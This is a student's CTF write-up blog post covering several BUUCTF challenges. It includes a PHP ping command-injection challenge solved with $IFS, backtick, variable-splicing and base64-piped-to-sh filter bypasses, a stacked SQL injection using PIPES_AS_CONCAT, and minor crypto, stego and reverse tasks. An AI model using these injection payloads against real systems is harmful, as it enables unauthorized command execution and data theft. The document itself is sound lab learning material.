BUUCTF-内联执行-变量拼接-base绕过-sql改||类型-*.1

第五周 3.30

目录

web

[GXYCTF2019]Ping Ping Ping

1.内联执行

 2.变量拼接

3.base绕过

[SUCTF 2019]EasySQL

1*,1

 2.更改 || 类型

Crypto

摩丝

password

Misc

N种方法解决

乌镇峰会种图

Reverse

新年快乐

xor


web

[GXYCTF2019]Ping Ping Ping

ip 想到ping 在url上ping

 成功

?ip=127.0.0.1;ls

 发现flag文件 尝试访问

骂我们说明过滤了

我们先看看能不能访问index.php

发现也不行

开始尝试过滤

过滤空格
$IFS$9
${IFS}
$IFS$1

payload
127.0.0.1;cat$IFS$9index.php

成功 说明过滤了空格

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|
\{|\}/", $ip, $match);不能出现这些符号
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){ 不能出现//
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){ 不能出现/bush/
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ 不能出现有关flag的字
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

我们开始构造

1.内联执行

127.0.0.1;cat$IFS$9`ls`

``的作用就是将ls执行完返回 

相当于
127.0.0.1;cat$IFS$9flag.php,index.php

会返回命令执行完的

执行成功 源代码发现flag

 2.变量拼接

因为过滤了flag 所以我们将变量赋值 然后进行拼接

payload

127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
a= ag b = fa  变量赋值
$b$a   引用变量
相当于 flag

源代码中发现

3.base绕过

echo  输出命令
cat flag.php 进行base64  Y2F0IGZsYWcucGhw
base64 -d  解密base64执行 
sh 是shell命令语言解释器  通过这个执行base64 -d


所以payload

127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

| 为管道符 直接执行命令   |左边命令的输出就会作为|右边命令的输入

[SUCTF 2019]EasySQL

 打开环境

输入 1

 输入0

 我们尝试万能密码

1' or 1=1#

不行 我们继续尝试随便注学会的堆叠注入

1;show databases;
注意这里是  database s 要加上s

爆出库 接着爆表

1;show tables;

 得到 我们尝试直接获取flag

1;show columns from Flag;

 返回了nonono 说明过滤了 flag

我们开始猜测内置sql语句

输入 1 得到数据
输入 0 nonono

a||b   MYSQL 中 || = 或

1||1  = 1   1||0  = 1   0||0 = 0

所以我们猜测 
select 输入 || 列 from 表
select 1 ||flag from Flag

这样 如果输入正确 就会输出 1 
如果错误 就会输出 0 即 nonono

1*,1

我们猜到后台命令 我们可以尝试更改

select 1 ||flag from Flag
select *,1 ||flag from Flag

这样 就会返回所有的数据

 2.更改 || 类型

在mysql中  || 为 或

我们只要把 || 改为连接符就行了 他就会返回数值

sql_mode=PIPES_AS_CONCAT来转换操作符的作用
1;set sql_mode=PIPES_AS_CONCAT;select 1


select 1;set sql_mode=PIPES_AS_CONCAT;select 1 ||flag from Flag

 得到flag

Crypto

摩丝

password

姓名:张三 
生日:19900315

key格式为key{xxxxxxxxxx}
flag{zs19900315}

Misc

N种方法解决

下载改后缀得到

发现图片 和base64

搜索base64转图片 解码得到二维码

 查看后得到key

乌镇峰会种图

下载后得到图片

 确定只是图片

放入Stegsolve

 得到flag

Reverse

新年快乐

下载文件进行查壳

 发现是upx  我们使用upx脱壳

 放入ida32

反编译后得到代码

代码审计

{
  int result; // eax
  char v4; // [esp+12h] [ebp-3Ah]
  __int16 v5; // [esp+20h] [ebp-2Ch]
  __int16 v6; // [esp+22h] [ebp-2Ah]

  __main();
  strcpy(&v4, "HappyNewYear!"); v4替换为"HappyNewYear!"
  v5 = 0;
  memset(&v6, 0, 0x1Eu);
  printf("please input the true flag:");
  scanf("%s", &v5);
  if ( !strncmp((const char *)&v5, &v4, strlen(&v4)) )
判断flag
strncmp 是进行字符串比较 如果两个字符串相同 就输出0   !0=1 所以要相同
所以输入的是v4  就是HappyNewYear
    result = puts("this is true flag!");
  else
    result = puts("wrong!");
  return resul

所以flag就是

flag{HappyNewYear!}

xor

放入ida64 反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  int result; // eax
  signed int i; // [rsp+2Ch] [rbp-124h]
  char v6[264]; // [rsp+40h] [rbp-110h]
  __int64 v7; // [rsp+148h] [rbp-8h]

  memset(v6, 0, 0x100uLL);
  v3 = (char *)256;
  printf("Input your flag:\n", 0LL);
  get_line(v6, 256LL);
  if ( strlen(v6) != 33 )
    goto LABEL_12;
  for ( i = 1; i < 33; ++i )
    v6[i] ^= v6[i - 1];
  v3 = global;
  if ( !strncmp(v6, global, 0x21uLL) )
    printf("Success", v3);
  else
LABEL_12:
    printf("Failed", v3);
  result = __stack_chk_guard;
  if ( __stack_chk_guard == v7 )
    result = 0;
  return result;
}

我们查看成功语句 发现和v6有关 我们上去查看哪里有改v6的地方

 for ( i = 1; i < 33; ++i )
    v6[i] ^= v6[i - 1];

找到了 然后我们去查找 global

双击进去

继续双击

 得到了判断的

我们进行exp

s =['f',0xA,'k',0xC,'w','&','O','.','@',0x11,'x',0xD,'Z',';','U',0x11,'p',0x19,'F',0x1F,'v','"','M','#','D',0xE,'g',6,'h',0xF,'G','2','O']
flag='f'  #第一个不进行异或
for i in range(1,len(s)):
    if(isinstance(s[i],int)):              #判断s里的是不是int类型
        s[i]=chr(s[i])        #把int类型边为chr
for i in range(1,len(s)):
    flag+=chr(ord(s[i])^ord(s[i-1])) #根据题目进行异或运算
print(flag)

得到flag

flag{QianQiuWanDai_YiTongJiangHu}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值